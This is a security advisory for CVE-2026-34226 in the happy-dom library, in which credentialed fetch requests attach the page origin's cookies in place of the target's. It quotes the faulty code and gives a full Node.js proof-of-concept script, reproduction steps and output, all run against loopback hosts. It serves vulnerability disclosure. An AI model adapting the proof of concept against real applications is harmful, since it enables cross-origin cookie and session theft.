CVE-2026-34226: Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

Summary happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

ts const originURL = new URL(options.window.location.href); const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]); // ... const cookies = options.browserFrame.page.context.cookieContainer.getCookies( originURL, false );

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

javascript const http = require('http'); const dns = require('dns').promises; const { Browser } = require('happy-dom');

async function listen(server, host) { return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port))); }

async function run() { let observedCookieHeader = null; const pageHost = process.env.PAGEHOST || 'a.127.0.0.1.nip.io'; const apiHost = process.env.APIHOST || 'b.127.0.0.1.nip.io';

console.log('=== PoC: Wrong Cookie Source URL in credentials:include ==='); console.log('Setup:'); console.log( Page Origin Host : ${pageHost}); console.log( Request Target Host: ${apiHost}); console.log(' (both resolve to 127.0.0.1 via public wildcard DNS)'); console.log('');

await dns.lookup(pageHost); await dns.lookup(apiHost);

const pageServer = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'text/plain' }); res.end('page host'); });

const apiServer = http.createServer((req, res) => { observedCookieHeader = req.headers.cookie || ''; const origin = req.headers.origin || ''; res.writeHead(200, { 'content-type': 'application/json', 'access-control-allow-origin': origin, 'access-control-allow-credentials': 'true' }); res.end(JSON.stringify({ ok: true })); });

const pagePort = await listen(pageServer, '127.0.0.1'); const apiPort = await listen(apiServer, '127.0.0.1');

const browser = new Browser();

try { const context = browser.defaultContext;

// Page host: pageHost (local DNS) const page = context.newPage(); page.mainFrame.url = http://${pageHost}:${pagePort}/dashboard; page.mainFrame.window.document.cookie = 'pagecookie=PAGEONLY';

// Target host: apiHost (local DNS) const apiSeedPage = context.newPage(); apiSeedPage.mainFrame.url = http://${apiHost}:${apiPort}/seed; apiSeedPage.mainFrame.window.document.cookie = 'apicookie=APIONLY';

// Trigger cross-host request with credentials. const res = await page.mainFrame.window.fetch(http://${apiHost}:${apiPort}/data, { credentials: 'include' }); await res.text();

const leakedPageCookie = observedCookieHeader.includes('pagecookie=PAGEONLY'); const expectedApiCookie = observedCookieHeader.includes('apicookie=APIONLY');

console.log('Expected:'); console.log(' Request to target host should include "apicookie=APIONLY".'); console.log(' Request should NOT include "pagecookie=PAGEONLY".'); console.log('');

console.log('Actual:'); console.log( request cookie header: "${observedCookieHeader || '(empty)'}"); console.log( includes pagecookie: ${leakedPageCookie}); console.log( includes apicookie : ${expectedApiCookie}); console.log('');

if (leakedPageCookie && !expectedApiCookie) { console.log('Result: VULNERABLE behavior reproduced.'); process.exitCode = 0; } else { console.log('Result: Vulnerable behavior NOT reproduced in this run/version.'); process.exitCode = 1; } } finally { await browser.close(); pageServer.close(); apiServer.close(); } }

run().catch((error) => { console.error(error); process.exit(1); });

Environment: 1. Node.js >= 22 2. happy-dom 20.6.1 3. DNS names resolving to local loopback via .127.0.0.1.nip.io

Reproduction steps: 1. Set page host cookie: pagecookie=PAGEONLY on a.127.0.0.1.nip.io 2. Set target host cookie: apicookie=APIONLY on b.127.0.0.1.nip.io 3. From page host, call fetch to target host with credentials: "include" 4. Observe Cookie header received by the target host

Expected: 1. Include apicookie=APIONLY 2. Do not include pagecookie=PAGEONLY

Actual (observed): 1. Includes pagecookie=PAGEONLY 2. Does not include apicookie=APIONLY

Observed output: text === PoC: Wrong Cookie Source URL in credentials:include === Setup: Page Origin Host : a.127.0.0.1.nip.io Request Target Host: b.127.0.0.1.nip.io (both resolve to 127.0.0.1 via public wildcard DNS)

Expected: Request to target host should include "apicookie=APIONLY". Request should NOT include "pagecookie=PAGEONLY".

Actual: request cookie header: "pagecookie=PAGEONLY" includes pagecookie: true includes apicookie : false

Result: VULNERABLE behavior reproduced.

Impact Cross-origin sensitive information disclosure (cookie leakage). Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.